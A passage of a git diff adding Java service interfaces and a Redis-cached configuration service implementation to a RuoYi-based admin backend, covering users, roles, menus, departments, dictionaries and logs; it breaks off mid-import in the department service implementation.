@Param("userIds") Long[] userIds); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/service/ISysConfigService.java b/ruoyi-system/src/main/java/com/ruoyi/system/service/ISysConfigService.java new file mode 100644 index 0000000..b307776 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/service/ISysConfigService.java @@ -0,0 +1,89 @@ +package com.ruoyi.system.service; + +import java.util.List; +import com.ruoyi.system.domain.SysConfig; + +/** + * 参数配置 服务层 + * + * @author ruoyi + */ +public interface ISysConfigService +{ + /** + * 查询参数配置信息 + * + * @param configId 参数配置ID + * @return 参数配置信息 + */ + public SysConfig selectConfigById(Long configId); + + /** + * 根据键名查询参数配置信息 + * + * @param configKey 参数键名 + * @return 参数键值 + */ + public String selectConfigByKey(String configKey); + + /** + * 获取验证码开关 + * + * @return true开启,false关闭 + */ + public boolean selectCaptchaEnabled(); + + /** + * 查询参数配置列表 + * + * @param config 参数配置信息 + * @return 参数配置集合 + */ + public List selectConfigList(SysConfig config); + + /** + * 新增参数配置 + * + * @param config 参数配置信息 + * @return 结果 + */ + public int insertConfig(SysConfig config); + + /** + * 修改参数配置 + * + * @param config 参数配置信息 + * @return 结果 + */ + public int updateConfig(SysConfig config); + + /** + * 批量删除参数信息 + * + * @param configIds 需要删除的参数ID + */ + public void deleteConfigByIds(Long[] configIds); + + /** + * 加载参数缓存数据 + */ + public void loadingConfigCache(); + + /** + * 清空参数缓存数据 + */ + public void clearConfigCache(); + + /** + * 重置参数缓存数据 + */ + public void resetConfigCache(); + + /** + * 校验参数键名是否唯一 + * + * @param config 参数信息 + * @return 结果 + */ + public boolean checkConfigKeyUnique(SysConfig config); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/service/ISysDeptService.java b/ruoyi-system/src/main/java/com/ruoyi/system/service/ISysDeptService.java new file mode 100644 index 0000000..f228208 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/service/ISysDeptService.java @@ -0,0 +1,124 @@ +package com.ruoyi.system.service; + +import java.util.List; +import com.ruoyi.common.core.domain.TreeSelect; +import com.ruoyi.common.core.domain.entity.SysDept; + +/** + * 部门管理 服务层 + * + * @author ruoyi + */ +public interface ISysDeptService +{ + /** + * 查询部门管理数据 + * + * @param dept 部门信息 + * @return 部门信息集合 + */ + public List selectDeptList(SysDept dept); + + /** + * 查询部门树结构信息 + * + * @param dept 部门信息 + * @return 部门树信息集合 + */ + public List selectDeptTreeList(SysDept dept); + + /** + * 构建前端所需要树结构 + * + * @param depts 部门列表 + * @return 树结构列表 + */ + public List buildDeptTree(List depts); + + /** + * 构建前端所需要下拉树结构 + * + * @param depts 部门列表 + * @return 下拉树结构列表 + */ + public List buildDeptTreeSelect(List depts); + + /** + * 根据角色ID查询部门树信息 + * + * @param roleId 角色ID + * @return 选中部门列表 + */ + public List selectDeptListByRoleId(Long roleId); + + /** + * 根据部门ID查询信息 + * + * @param deptId 部门ID + * @return 部门信息 + */ + public SysDept selectDeptById(Long deptId); + + /** + * 根据ID查询所有子部门(正常状态) + * + * @param deptId 部门ID + * @return 子部门数 + */ + public int selectNormalChildrenDeptById(Long deptId); + + /** + * 是否存在部门子节点 + * + * @param deptId 部门ID + * @return 结果 + */ + public boolean hasChildByDeptId(Long deptId); + + /** + * 查询部门是否存在用户 + * + * @param deptId 部门ID + * @return 结果 true 存在 false 不存在 + */ + public boolean checkDeptExistUser(Long deptId); + + /** + * 校验部门名称是否唯一 + * + * @param dept 部门信息 + * @return 结果 + */ + public boolean checkDeptNameUnique(SysDept dept); + + /** + * 校验部门是否有数据权限 + * + * @param deptId 部门id + */ + public void checkDeptDataScope(Long deptId); + + /** + * 新增保存部门信息 + * + * @param dept 部门信息 + * @return 结果 + */ + public int insertDept(SysDept dept); + + /** + * 修改保存部门信息 + * + * @param dept 部门信息 + * @return 结果 + */ + public int updateDept(SysDept dept); + + /** + * 删除部门管理信息 + * + * @param deptId 部门ID + * @return 结果 + */ + public int deleteDeptById(Long deptId); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/service/ISysDictDataService.java b/ruoyi-system/src/main/java/com/ruoyi/system/service/ISysDictDataService.java new file mode 100644 index 0000000..9bc4f13 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/service/ISysDictDataService.java @@ -0,0 +1,60 @@ +package com.ruoyi.system.service; + +import java.util.List; +import com.ruoyi.common.core.domain.entity.SysDictData; + +/** + * 字典 业务层 + * + * @author ruoyi + */ +public interface ISysDictDataService +{ + /** + * 根据条件分页查询字典数据 + * + * @param dictData 字典数据信息 + * @return 字典数据集合信息 + */ + public List selectDictDataList(SysDictData dictData); + + /** + * 根据字典类型和字典键值查询字典数据信息 + * + * @param dictType 字典类型 + * @param dictValue 字典键值 + * @return 字典标签 + */ + public String selectDictLabel(String dictType, String dictValue); + + /** + * 根据字典数据ID查询信息 + * + * @param dictCode 字典数据ID + * @return 字典数据 + */ + public SysDictData selectDictDataById(Long dictCode); + + /** + * 批量删除字典数据信息 + * + * @param dictCodes 需要删除的字典数据ID + */ + public void deleteDictDataByIds(Long[] dictCodes); + + /** + * 新增保存字典数据信息 + * + * @param dictData 字典数据信息 + * @return 结果 + */ + public int insertDictData(SysDictData dictData); + + /** + * 修改保存字典数据信息 + * + * @param dictData 字典数据信息 + * @return 结果 + */ + public int updateDictData(SysDictData dictData); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/service/ISysDictTypeService.java b/ruoyi-system/src/main/java/com/ruoyi/system/service/ISysDictTypeService.java new file mode 100644 index 0000000..01c1c1d --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/service/ISysDictTypeService.java @@ -0,0 +1,98 @@ +package com.ruoyi.system.service; + +import java.util.List; +import com.ruoyi.common.core.domain.entity.SysDictData; +import com.ruoyi.common.core.domain.entity.SysDictType; + +/** + * 字典 业务层 + * + * @author ruoyi + */ +public interface ISysDictTypeService +{ + /** + * 根据条件分页查询字典类型 + * + * @param dictType 字典类型信息 + * @return 字典类型集合信息 + */ + public List selectDictTypeList(SysDictType dictType); + + /** + * 根据所有字典类型 + * + * @return 字典类型集合信息 + */ + public List selectDictTypeAll(); + + /** + * 根据字典类型查询字典数据 + * + * @param dictType 字典类型 + * @return 字典数据集合信息 + */ + public List selectDictDataByType(String dictType); + + /** + * 根据字典类型ID查询信息 + * + * @param dictId 字典类型ID + * @return 字典类型 + */ + public SysDictType selectDictTypeById(Long dictId); + + /** + * 根据字典类型查询信息 + * + * @param dictType 字典类型 + * @return 字典类型 + */ + public SysDictType selectDictTypeByType(String dictType); + + /** + * 批量删除字典信息 + * + * @param dictIds 需要删除的字典ID + */ + public void deleteDictTypeByIds(Long[] dictIds); + + /** + * 加载字典缓存数据 + */ + public void loadingDictCache(); + + /** + * 清空字典缓存数据 + */ + public void clearDictCache(); + + /** + * 重置字典缓存数据 + */ + public void resetDictCache(); + + /** + * 新增保存字典类型信息 + * + * @param dictType 字典类型信息 + * @return 结果 + */ + public int insertDictType(SysDictType dictType); + + /** + * 修改保存字典类型信息 + * + * @param dictType 字典类型信息 + * @return 结果 + */ + public int updateDictType(SysDictType dictType); + + /** + * 校验字典类型称是否唯一 + * + * @param dictType 字典类型 + * @return 结果 + */ + public boolean checkDictTypeUnique(SysDictType dictType); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/service/ISysLogininforService.java b/ruoyi-system/src/main/java/com/ruoyi/system/service/ISysLogininforService.java new file mode 100644 index 0000000..ce3151d --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/service/ISysLogininforService.java @@ -0,0 +1,40 @@ +package com.ruoyi.system.service; + +import java.util.List; +import com.ruoyi.system.domain.SysLogininfor; + +/** + * 系统访问日志情况信息 服务层 + * + * @author ruoyi + */ +public interface ISysLogininforService +{ + /** + * 新增系统登录日志 + * + * @param logininfor 访问日志对象 + */ + public void insertLogininfor(SysLogininfor logininfor); + + /** + * 查询系统登录日志集合 + * + * @param logininfor 访问日志对象 + * @return 登录记录集合 + */ + public List selectLogininforList(SysLogininfor logininfor); + + /** + * 批量删除系统登录日志 + * + * @param infoIds 需要删除的登录日志ID + * @return 结果 + */ + public int deleteLogininforByIds(Long[] infoIds); + + /** + * 清空系统登录日志 + */ + public void cleanLogininfor(); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/service/ISysMenuService.java b/ruoyi-system/src/main/java/com/ruoyi/system/service/ISysMenuService.java new file mode 100644 index 0000000..7d60696 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/service/ISysMenuService.java @@ -0,0 +1,144 @@ +package com.ruoyi.system.service; + +import java.util.List; +import java.util.Set; +import com.ruoyi.common.core.domain.TreeSelect; +import com.ruoyi.common.core.domain.entity.SysMenu; +import com.ruoyi.system.domain.vo.RouterVo; + +/** + * 菜单 业务层 + * + * @author ruoyi + */ +public interface ISysMenuService +{ + /** + * 根据用户查询系统菜单列表 + * + * @param userId 用户ID + * @return 菜单列表 + */ + public List selectMenuList(Long userId); + + /** + * 根据用户查询系统菜单列表 + * + * @param menu 菜单信息 + * @param userId 用户ID + * @return 菜单列表 + */ + public List selectMenuList(SysMenu menu, Long userId); + + /** + * 根据用户ID查询权限 + * + * @param userId 用户ID + * @return 权限列表 + */ + public Set selectMenuPermsByUserId(Long userId); + + /** + * 根据角色ID查询权限 + * + * @param roleId 角色ID + * @return 权限列表 + */ + public Set selectMenuPermsByRoleId(Long roleId); + + /** + * 根据用户ID查询菜单树信息 + * + * @param userId 用户ID + * @return 菜单列表 + */ + public List selectMenuTreeByUserId(Long userId); + + /** + * 根据角色ID查询菜单树信息 + * + * @param roleId 角色ID + * @return 选中菜单列表 + */ + public List selectMenuListByRoleId(Long roleId); + + /** + * 构建前端路由所需要的菜单 + * + * @param menus 菜单列表 + * @return 路由列表 + */ + public List buildMenus(List menus); + + /** + * 构建前端所需要树结构 + * + * @param menus 菜单列表 + * @return 树结构列表 + */ + public List buildMenuTree(List menus); + + /** + * 构建前端所需要下拉树结构 + * + * @param menus 菜单列表 + * @return 下拉树结构列表 + */ + public List buildMenuTreeSelect(List menus); + + /** + * 根据菜单ID查询信息 + * + * @param menuId 菜单ID + * @return 菜单信息 + */ + public SysMenu selectMenuById(Long menuId); + + /** + * 是否存在菜单子节点 + * + * @param menuId 菜单ID + * @return 结果 true 存在 false 不存在 + */ + public boolean hasChildByMenuId(Long menuId); + + /** + * 查询菜单是否存在角色 + * + * @param menuId 菜单ID + * @return 结果 true 存在 false 不存在 + */ + public boolean checkMenuExistRole(Long menuId); + + /** + * 新增保存菜单信息 + * + * @param menu 菜单信息 + * @return 结果 + */ + public int insertMenu(SysMenu menu); + + /** + * 修改保存菜单信息 + * + * @param menu 菜单信息 + * @return 结果 + */ + public int updateMenu(SysMenu menu); + + /** + * 删除菜单管理信息 + * + * @param menuId 菜单ID + * @return 结果 + */ + public int deleteMenuById(Long menuId); + + /** + * 校验菜单名称是否唯一 + * + * @param menu 菜单信息 + * @return 结果 + */ + public boolean checkMenuNameUnique(SysMenu menu); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/service/ISysNoticeService.java b/ruoyi-system/src/main/java/com/ruoyi/system/service/ISysNoticeService.java new file mode 100644 index 0000000..47ce1b7 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/service/ISysNoticeService.java @@ -0,0 +1,60 @@ +package com.ruoyi.system.service; + +import java.util.List; +import com.ruoyi.system.domain.SysNotice; + +/** + * 公告 服务层 + * + * @author ruoyi + */ +public interface ISysNoticeService +{ + /** + * 查询公告信息 + * + * @param noticeId 公告ID + * @return 公告信息 + */ + public SysNotice selectNoticeById(Long noticeId); + + /** + * 查询公告列表 + * + * @param notice 公告信息 + * @return 公告集合 + */ + public List selectNoticeList(SysNotice notice); + + /** + * 新增公告 + * + * @param notice 公告信息 + * @return 结果 + */ + public int insertNotice(SysNotice notice); + + /** + * 修改公告 + * + * @param notice 公告信息 + * @return 结果 + */ + public int updateNotice(SysNotice notice); + + /** + * 删除公告信息 + * + * @param noticeId 公告ID + * @return 结果 + */ + public int deleteNoticeById(Long noticeId); + + /** + * 批量删除公告信息 + * + * @param noticeIds 需要删除的公告ID + * @return 结果 + */ + public int deleteNoticeByIds(Long[] noticeIds); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/service/ISysOperLogService.java b/ruoyi-system/src/main/java/com/ruoyi/system/service/ISysOperLogService.java new file mode 100644 index 0000000..4fd8e5a --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/service/ISysOperLogService.java @@ -0,0 +1,48 @@ +package com.ruoyi.system.service; + +import java.util.List; +import com.ruoyi.system.domain.SysOperLog; + +/** + * 操作日志 服务层 + * + * @author ruoyi + */ +public interface ISysOperLogService +{ + /** + * 新增操作日志 + * + * @param operLog 操作日志对象 + */ + public void insertOperlog(SysOperLog operLog); + + /** + * 查询系统操作日志集合 + * + * @param operLog 操作日志对象 + * @return 操作日志集合 + */ + public List selectOperLogList(SysOperLog operLog); + + /** + * 批量删除系统操作日志 + * + * @param operIds 需要删除的操作日志ID + * @return 结果 + */ + public int deleteOperLogByIds(Long[] operIds); + + /** + * 查询操作日志详细 + * + * @param operId 操作ID + * @return 操作日志对象 + */ + public SysOperLog selectOperLogById(Long operId); + + /** + * 清空操作日志 + */ + public void cleanOperLog(); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/service/ISysPostService.java b/ruoyi-system/src/main/java/com/ruoyi/system/service/ISysPostService.java new file mode 100644 index 0000000..84779bf --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/service/ISysPostService.java @@ -0,0 +1,99 @@ +package com.ruoyi.system.service; + +import java.util.List; +import com.ruoyi.system.domain.SysPost; + +/** + * 岗位信息 服务层 + * + * @author ruoyi + */ +public interface ISysPostService +{ + /** + * 查询岗位信息集合 + * + * @param post 岗位信息 + * @return 岗位列表 + */ + public List selectPostList(SysPost post); + + /** + * 查询所有岗位 + * + * @return 岗位列表 + */ + public List selectPostAll(); + + /** + * 通过岗位ID查询岗位信息 + * + * @param postId 岗位ID + * @return 角色对象信息 + */ + public SysPost selectPostById(Long postId); + + /** + * 根据用户ID获取岗位选择框列表 + * + * @param userId 用户ID + * @return 选中岗位ID列表 + */ + public List selectPostListByUserId(Long userId); + + /** + * 校验岗位名称 + * + * @param post 岗位信息 + * @return 结果 + */ + public boolean checkPostNameUnique(SysPost post); + + /** + * 校验岗位编码 + * + * @param post 岗位信息 + * @return 结果 + */ + public boolean checkPostCodeUnique(SysPost post); + + /** + * 通过岗位ID查询岗位使用数量 + * + * @param postId 岗位ID + * @return 结果 + */ + public int countUserPostById(Long postId); + + /** + * 删除岗位信息 + * + * @param postId 岗位ID + * @return 结果 + */ + public int deletePostById(Long postId); + + /** + * 批量删除岗位信息 + * + * @param postIds 需要删除的岗位ID + * @return 结果 + */ + public int deletePostByIds(Long[] postIds); + + /** + * 新增保存岗位信息 + * + * @param post 岗位信息 + * @return 结果 + */ + public int insertPost(SysPost post); + + /** + * 修改保存岗位信息 + * + * @param post 岗位信息 + * @return 结果 + */ + public int updatePost(SysPost post); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/service/ISysRoleService.java b/ruoyi-system/src/main/java/com/ruoyi/system/service/ISysRoleService.java new file mode 100644 index 0000000..6c29f09 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/service/ISysRoleService.java @@ -0,0 +1,173 @@ +package com.ruoyi.system.service; + +import java.util.List; +import java.util.Set; +import com.ruoyi.common.core.domain.entity.SysRole; +import com.ruoyi.system.domain.SysUserRole; + +/** + * 角色业务层 + * + * @author ruoyi + */ +public interface ISysRoleService +{ + /** + * 根据条件分页查询角色数据 + * + * @param role 角色信息 + * @return 角色数据集合信息 + */ + public List selectRoleList(SysRole role); + + /** + * 根据用户ID查询角色列表 + * + * @param userId 用户ID + * @return 角色列表 + */ + public List selectRolesByUserId(Long userId); + + /** + * 根据用户ID查询角色权限 + * + * @param userId 用户ID + * @return 权限列表 + */ + public Set selectRolePermissionByUserId(Long userId); + + /** + * 查询所有角色 + * + * @return 角色列表 + */ + public List selectRoleAll(); + + /** + * 根据用户ID获取角色选择框列表 + * + * @param userId 用户ID + * @return 选中角色ID列表 + */ + public List selectRoleListByUserId(Long userId); + + /** + * 通过角色ID查询角色 + * + * @param roleId 角色ID + * @return 角色对象信息 + */ + public SysRole selectRoleById(Long roleId); + + /** + * 校验角色名称是否唯一 + * + * @param role 角色信息 + * @return 结果 + */ + public boolean checkRoleNameUnique(SysRole role); + + /** + * 校验角色权限是否唯一 + * + * @param role 角色信息 + * @return 结果 + */ + public boolean checkRoleKeyUnique(SysRole role); + + /** + * 校验角色是否允许操作 + * + * @param role 角色信息 + */ + public void checkRoleAllowed(SysRole role); + + /** + * 校验角色是否有数据权限 + * + * @param roleId 角色id + */ + public void checkRoleDataScope(Long roleId); + + /** + * 通过角色ID查询角色使用数量 + * + * @param roleId 角色ID + * @return 结果 + */ + public int countUserRoleByRoleId(Long roleId); + + /** + * 新增保存角色信息 + * + * @param role 角色信息 + * @return 结果 + */ + public int insertRole(SysRole role); + + /** + * 修改保存角色信息 + * + * @param role 角色信息 + * @return 结果 + */ + public int updateRole(SysRole role); + + /** + * 修改角色状态 + * + * @param role 角色信息 + * @return 结果 + */ + public int updateRoleStatus(SysRole role); + + /** + * 修改数据权限信息 + * + * @param role 角色信息 + * @return 结果 + */ + public int authDataScope(SysRole role); + + /** + * 通过角色ID删除角色 + * + * @param roleId 角色ID + * @return 结果 + */ + public int deleteRoleById(Long roleId); + + /** + * 批量删除角色信息 + * + * @param roleIds 需要删除的角色ID + * @return 结果 + */ + public int deleteRoleByIds(Long[] roleIds); + + /** + * 取消授权用户角色 + * + * @param userRole 用户和角色关联信息 + * @return 结果 + */ + public int deleteAuthUser(SysUserRole userRole); + + /** + * 批量取消授权用户角色 + * + * @param roleId 角色ID + * @param userIds 需要取消授权的用户数据ID + * @return 结果 + */ + public int deleteAuthUsers(Long roleId, Long[] userIds); + + /** + * 批量选择授权用户角色 + * + * @param roleId 角色ID + * @param userIds 需要删除的用户数据ID + * @return 结果 + */ + public int insertAuthUsers(Long roleId, Long[] userIds); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/service/ISysStatisticsService.java b/ruoyi-system/src/main/java/com/ruoyi/system/service/ISysStatisticsService.java new file mode 100644 index 0000000..2175c48 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/service/ISysStatisticsService.java @@ -0,0 +1,17 @@ +package com.ruoyi.system.service; + +import com.ruoyi.bussiness.domain.vo.SysDataVO; +import org.springframework.stereotype.Service; + +import java.util.List; + +/** + * 系统首页数据统计 + * + * @author ruoyi + */ +@Service +public interface ISysStatisticsService { + + List getDataList(String parentId); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/service/ISysUserOnlineService.java b/ruoyi-system/src/main/java/com/ruoyi/system/service/ISysUserOnlineService.java new file mode 100644 index 0000000..8eb5448 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/service/ISysUserOnlineService.java @@ -0,0 +1,48 @@ +package com.ruoyi.system.service; + +import com.ruoyi.common.core.domain.model.LoginUser; +import com.ruoyi.system.domain.SysUserOnline; + +/** + * 在线用户 服务层 + * + * @author ruoyi + */ +public interface ISysUserOnlineService +{ + /** + * 通过登录地址查询信息 + * + * @param ipaddr 登录地址 + * @param user 用户信息 + * @return 在线用户信息 + */ + public SysUserOnline selectOnlineByIpaddr(String ipaddr, LoginUser user); + + /** + * 通过用户名称查询信息 + * + * @param userName 用户名称 + * @param user 用户信息 + * @return 在线用户信息 + */ + public SysUserOnline selectOnlineByUserName(String userName, LoginUser user); + + /** + * 通过登录地址/用户名称查询信息 + * + * @param ipaddr 登录地址 + * @param userName 用户名称 + * @param user 用户信息 + * @return 在线用户信息 + */ + public SysUserOnline selectOnlineByInfo(String ipaddr, String userName, LoginUser user); + + /** + * 设置在线用户信息 + * + * @param user 用户信息 + * @return 在线用户 + */ + public SysUserOnline loginUserToUserOnline(LoginUser user); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/service/ISysUserService.java b/ruoyi-system/src/main/java/com/ruoyi/system/service/ISysUserService.java new file mode 100644 index 0000000..877fc09 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/service/ISysUserService.java @@ -0,0 +1,216 @@ +package com.ruoyi.system.service; + +import java.util.List; +import com.ruoyi.common.core.domain.entity.SysUser; + +/** + * 用户 业务层 + * + * @author ruoyi + */ +public interface ISysUserService +{ + /** + * 根据条件分页查询用户列表 + * + * @param user 用户信息 + * @return 用户信息集合信息 + */ + public List selectUserList(SysUser user); + + /** + * 根据条件分页查询已分配用户角色列表 + * + * @param user 用户信息 + * @return 用户信息集合信息 + */ + public List selectAllocatedList(SysUser user); + + /** + * 根据条件分页查询未分配用户角色列表 + * + * @param user 用户信息 + * @return 用户信息集合信息 + */ + public List selectUnallocatedList(SysUser user); + + /** + * 通过用户名查询用户 + * + * @param userName 用户名 + * @return 用户对象信息 + */ + public SysUser selectUserByUserName(String userName); + + /** + * 通过用户ID查询用户 + * + * @param userId 用户ID + * @return 用户对象信息 + */ + public SysUser selectUserById(Long userId); + + /** + * 根据用户ID查询用户所属角色组 + * + * @param userName 用户名 + * @return 结果 + */ + public String selectUserRoleGroup(String userName); + + /** + * 根据用户ID查询用户所属岗位组 + * + * @param userName 用户名 + * @return 结果 + */ + public String selectUserPostGroup(String userName); + + /** + * 校验用户名称是否唯一 + * + * @param user 用户信息 + * @return 结果 + */ + public boolean checkUserNameUnique(SysUser user); + + /** + * 校验手机号码是否唯一 + * + * @param user 用户信息 + * @return 结果 + */ + public boolean checkPhoneUnique(SysUser user); + + /** + * 校验email是否唯一 + * + * @param user 用户信息 + * @return 结果 + */ + public boolean checkEmailUnique(SysUser user); + + /** + * 校验用户是否允许操作 + * + * @param user 用户信息 + */ + public void checkUserAllowed(SysUser user); + + /** + * 校验用户是否有数据权限 + * + * @param userId 用户id + */ + public void checkUserDataScope(Long userId); + + /** + * 新增用户信息 + * + * @param user 用户信息 + * @return 结果 + */ + public int insertUser(SysUser user); + + /** + * 注册用户信息 + * + * @param user 用户信息 + * @return 结果 + */ + public boolean registerUser(SysUser user); + + /** + * 修改用户信息 + * + * @param user 用户信息 + * @return 结果 + */ + public int updateUser(SysUser user); + + /** + * 用户授权角色 + * + * @param userId 用户ID + * @param roleIds 角色组 + */ + public void insertUserAuth(Long userId, Long[] roleIds); + + /** + * 修改用户状态 + * + * @param user 用户信息 + * @return 结果 + */ + public int updateUserStatus(SysUser user); + + /** + * 修改用户基本信息 + * + * @param user 用户信息 + * @return 结果 + */ + public int updateUserProfile(SysUser user); + + /** + * 修改用户头像 + * + * @param userName 用户名 + * @param avatar 头像地址 + * @return 结果 + */ + public boolean updateUserAvatar(String userName, String avatar); + + /** + * 重置用户密码 + * + * @param user 用户信息 + * @return 结果 + */ + public int resetPwd(SysUser user); + + /** + * 重置用户密码 + * + * @param userName 用户名 + * @param password 密码 + * @return 结果 + */ + public int resetUserPwd(String userName, String password); + + /** + * 通过用户ID删除用户 + * + * @param userId 用户ID + * @return 结果 + */ + public int deleteUserById(Long userId); + + /** + * 批量删除用户信息 + * + * @param userIds 需要删除的用户ID + * @return 结果 + */ + public int deleteUserByIds(Long[] userIds); + + /** + * 导入用户数据 + * + * @param userList 用户数据列表 + * @param isUpdateSupport 是否更新支持,如果已存在,则进行更新数据 + * @param operName 操作用户 + * @return 结果 + */ + public String importUser(List userList, Boolean isUpdateSupport, String operName); + + int bindingAppUser(Long userId, Long[] appUserIds); + + int bindingAdminUser(Long userId, Long[] adminUserIds); + + List selectUnboundAdminUser(SysUser user); + + void updateUserForGoogleKey(SysUser user); + + List selectAllAgentUser(SysUser user); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/service/impl/SysConfigServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/system/service/impl/SysConfigServiceImpl.java new file mode 100644 index 0000000..4d29b22 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/service/impl/SysConfigServiceImpl.java @@ -0,0 +1,232 @@ +package com.ruoyi.system.service.impl; + +import java.util.Collection; +import java.util.List; +import javax.annotation.PostConstruct; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import com.ruoyi.common.annotation.DataSource; +import com.ruoyi.common.constant.CacheConstants; +import com.ruoyi.common.constant.UserConstants; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.core.text.Convert; +import com.ruoyi.common.enums.DataSourceType; +import com.ruoyi.common.exception.ServiceException; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.system.domain.SysConfig; +import com.ruoyi.system.mapper.SysConfigMapper; +import com.ruoyi.system.service.ISysConfigService; + +/** + * 参数配置 服务层实现 + * + * @author ruoyi + */ +@Service +public class SysConfigServiceImpl implements ISysConfigService +{ + @Autowired + private SysConfigMapper configMapper; + + @Autowired + private RedisCache redisCache; + + /** + * 项目启动时,初始化参数到缓存 + */ + @PostConstruct + public void init() + { + loadingConfigCache(); + } + + /** + * 查询参数配置信息 + * + * @param configId 参数配置ID + * @return 参数配置信息 + */ + @Override + @DataSource(DataSourceType.MASTER) + public SysConfig selectConfigById(Long configId) + { + SysConfig config = new SysConfig(); + config.setConfigId(configId); + return configMapper.selectConfig(config); + } + + /** + * 根据键名查询参数配置信息 + * + * @param configKey 参数key + * @return 参数键值 + */ + @Override + public String selectConfigByKey(String configKey) + { + String configValue = Convert.toStr(redisCache.getCacheObject(getCacheKey(configKey))); + if (StringUtils.isNotEmpty(configValue)) + { + return configValue; + } + SysConfig config = new SysConfig(); + config.setConfigKey(configKey); + SysConfig retConfig = configMapper.selectConfig(config); + if (StringUtils.isNotNull(retConfig)) + { + redisCache.setCacheObject(getCacheKey(configKey), retConfig.getConfigValue()); + return retConfig.getConfigValue(); + } + return StringUtils.EMPTY; + } + + /** + * 获取验证码开关 + * + * @return true开启,false关闭 + */ + @Override + public boolean selectCaptchaEnabled() + { + String captchaEnabled = selectConfigByKey("sys.account.captchaEnabled"); + if (StringUtils.isEmpty(captchaEnabled)) + { + return true; + } + return Convert.toBool(captchaEnabled); + } + + /** + * 查询参数配置列表 + * + * @param config 参数配置信息 + * @return 参数配置集合 + */ + @Override + public List selectConfigList(SysConfig config) + { + return configMapper.selectConfigList(config); + } + + /** + * 新增参数配置 + * + * @param config 参数配置信息 + * @return 结果 + */ + @Override + public int insertConfig(SysConfig config) + { + int row = configMapper.insertConfig(config); + if (row > 0) + { + redisCache.setCacheObject(getCacheKey(config.getConfigKey()), config.getConfigValue()); + } + return row; + } + + /** + * 修改参数配置 + * + * @param config 参数配置信息 + * @return 结果 + */ + @Override + public int updateConfig(SysConfig config) + { + SysConfig temp = configMapper.selectConfigById(config.getConfigId()); + if (!StringUtils.equals(temp.getConfigKey(), config.getConfigKey())) + { + redisCache.deleteObject(getCacheKey(temp.getConfigKey())); + } + + int row = configMapper.updateConfig(config); + if (row > 0) + { + redisCache.setCacheObject(getCacheKey(config.getConfigKey()), config.getConfigValue()); + } + return row; + } + + /** + * 批量删除参数信息 + * + * @param configIds 需要删除的参数ID + */ + @Override + public void deleteConfigByIds(Long[] configIds) + { + for (Long configId : configIds) + { + SysConfig config = selectConfigById(configId); + if (StringUtils.equals(UserConstants.YES, config.getConfigType())) + { + throw new ServiceException(String.format("内置参数【%1$s】不能删除 ", config.getConfigKey())); + } + configMapper.deleteConfigById(configId); + redisCache.deleteObject(getCacheKey(config.getConfigKey())); + } + } + + /** + * 加载参数缓存数据 + */ + @Override + public void loadingConfigCache() + { + List configsList = configMapper.selectConfigList(new SysConfig()); + for (SysConfig config : configsList) + { + redisCache.setCacheObject(getCacheKey(config.getConfigKey()), config.getConfigValue()); + } + } + + /** + * 清空参数缓存数据 + */ + @Override + public void clearConfigCache() + { + Collection keys = redisCache.keys(CacheConstants.SYS_CONFIG_KEY + "*"); + redisCache.deleteObject(keys); + } + + /** + * 重置参数缓存数据 + */ + @Override + public void resetConfigCache() + { + clearConfigCache(); + loadingConfigCache(); + } + + /** + * 校验参数键名是否唯一 + * + * @param config 参数配置信息 + * @return 结果 + */ + @Override + public boolean checkConfigKeyUnique(SysConfig config) + { + Long configId = StringUtils.isNull(config.getConfigId()) ? -1L : config.getConfigId(); + SysConfig info = configMapper.checkConfigKeyUnique(config.getConfigKey()); + if (StringUtils.isNotNull(info) && info.getConfigId().longValue() != configId.longValue()) + { + return UserConstants.NOT_UNIQUE; + } + return UserConstants.UNIQUE; + } + + /** + * 设置cache key + * + * @param configKey 参数键 + * @return 缓存键key + */ + private String getCacheKey(String configKey) + { + return CacheConstants.SYS_CONFIG_KEY + configKey; + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/system/service/impl/SysDeptServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/system/service/impl/SysDeptServiceImpl.java new file mode 100644 index 0000000..f7fb088 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/system/service/impl/SysDeptServiceImpl.java @@ -0,0 +1,338 @@ +package com.ruoyi.system.service.impl; + +import java.util.ArrayList; +import java.util.Iterator; +import java.util.List; +import java.util.stream.Collectors; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import com.ruoyi.common.annotation.DataScope; +import com.ruoyi.common.constant.UserConstants; +import com.ruoyi.common.core.domain.TreeSelect; +import com.ruoyi.common.core.domain.entity.SysDept; +import com.ruoyi.common.core.domain.entity.SysRole; +import com.ruoyi.common.core.domain.entity.SysUser; +import 